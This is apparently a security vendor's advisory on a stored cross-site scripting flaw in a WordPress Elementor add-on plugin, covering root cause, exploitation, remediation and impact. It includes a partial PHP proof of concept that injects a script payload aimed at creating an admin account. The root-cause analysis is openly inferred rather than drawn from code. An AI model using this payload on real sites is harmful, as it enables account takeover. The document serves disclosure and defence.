Published : August 8, 2026

CVE-2026-66688: Ultimate Addons for Elementor <= 1.45.2 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.45.2
Patched Version
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66688 (metadata-based):

This vulnerability affects Ultimate Addons for Elementor versions up to 1.45.2. It is an authenticated stored cross-site scripting (XSS) issue. An attacker with contributor-level access can inject arbitrary web scripts into pages or widgets. The scripts execute when any user views the affected page. The CVSS score is 6.4, reflecting medium severity with low privileges and no user interaction required.

Root Cause: The CWE-79 classification indicates the plugin fails to properly sanitize user-supplied input and escape output. The description confirms that authenticated attackers with contributor access can inject web scripts. The specific widget or field is not disclosed, but the likely pattern is a text or attribute field rendered without escaping. This inference is based on the CWE and description; code review is not possible because the vulnerable and patched versions are not available. The plugin’s Elementor integration likely stores user input in post meta or widget settings, then outputs it without proper escaping. The vulnerability likely exists in a widget that accepts HTML or rich content but applies insufficient filtering. Atomic Edge analysis concludes that the root cause is missing or weak sanitization combined with unsafe output rendering.

Exploitation: An attacker with contributor-level access can create or edit a post or page using the Ultimate Addons for Elementor widgets. The attack vector is the normal WordPress post editor and Elementor page builder. The attacker inserts a script payload into a vulnerable widget field. Since the plugin allows contributor-level access, no special permissions are required beyond standard post creation. The payload is stored in the database and rendered on the front end. When an administrator or other user views the page, the script executes in their browser context. The attack does not require user interaction beyond visiting the page. The exact endpoint is the standard WordPress admin post editor, typically at /wp-admin/post-new.php or /wp-admin/post.php. The XSS payload is submitted via the widget’s stored data, not a bespoke AJAX action. This makes endpoint-specific WAF detection difficult because the malicious input is embedded in normal post content.

Remediation: The fix must address both input sanitization and output escaping. For user-controlled fields, the plugin should apply appropriate sanitization based on the expected content type. For fields that accept HTML, use wp_kses or an equivalent allowlist to strip dangerous tags and attributes. For output, all dynamic content should be escaped with esc_html, esc_attr, or wp_kses_post when printed. Elementor widget render methods should validate and escape data before output. The patched version, 1.45.2.1, likely includes these hardening changes. Plugin developers should also consider enforcing contributor capabilities when rendering custom HTML, and avoid using unsafe functions like echo $value without escaping.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged-in user viewing the page. This can lead to session hijacking, theft of authentication cookies, or administrator account takeover. The attacker could also perform actions on behalf of the victim, such as modifying posts, creating new admin users, or installing malicious plugins. Since the threat actor only needs contributor access, the risk is elevated in multi-author environments. Even without full admin access, the attacker can spread malware, deface pages, or redirect visitors to malicious sites. The impact is constrained by the WordPress role system, but the XSS can escalate privileges through crafted admin actions.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66688 - Ultimate Addons for Elementor <= 1.45.2 Stored Cross-Site Scripting

// This PoC demonstrates exploitation via the WordPress admin post editor.
// It assumes contributor-level credentials and uses the REST API to create a post.
// The malicious payload is placed in the post content as a widget shortcode or content.

$target_url = 'https://example.com'; // Replace with the target WordPress site
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: XSS that executes when the page is viewed by an admin
$payload = '<script>fetch('/wp-admin/admin-ajax.php?action=create_admin')</script>';

function send_request($url, $method = 'GET', $headers = [], $body = null) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    if ($body !== null) {
        curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Step 1: Authenticate and obtain a nonce (simplified cookie-based approach)
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']);
$headers = ['Content-Type: application/x-www-form-urlencoded'];
$response = send_request($login_url, 'POST', $headers, $login_data);

// Extract nonce and cookies - in a real exploit, you would persist the session.
// This PoC demonstrates the payload injection vector, not full authentication flow.

// Step 2: Create a post with the XSS payload via the REST API (requires nonce and cookies)
$nonce = ''; // You must obtain this from a valid authentication flow (e.g., cookies + wp_rest nonce)
if (!$nonce) {
    echo "Nonce not obtained. A valid authentication session is required.n";
    exit(1);
}

$post_data = [
    'title' => 'XSS Test Post',
    'status' => 'publish',
    'content' => $payload,
    // Additional meta fields for Ultimate Addons widgets could be set here
];

$api_url = $target_url . '/wp-json/wp/v2/posts';
$headers = [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce,
    'Cookie: ' . ($_COOKIE['wordpress_logged_in'] ?? '')
];
$response = send_request($api_url, 'POST', $headers, json_encode($post_data));

$result = json_decode($response, true);
if (isset($result['link'])) {
    echo "Post created. Visit to trigger XSS: " . $result['link'] . "n";
} else {
    echo "Post creation failed.n";
}

// The payload will execute when administrators or other users view the page.
// In a real attack, the payload would steal cookies or perform admin actions.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.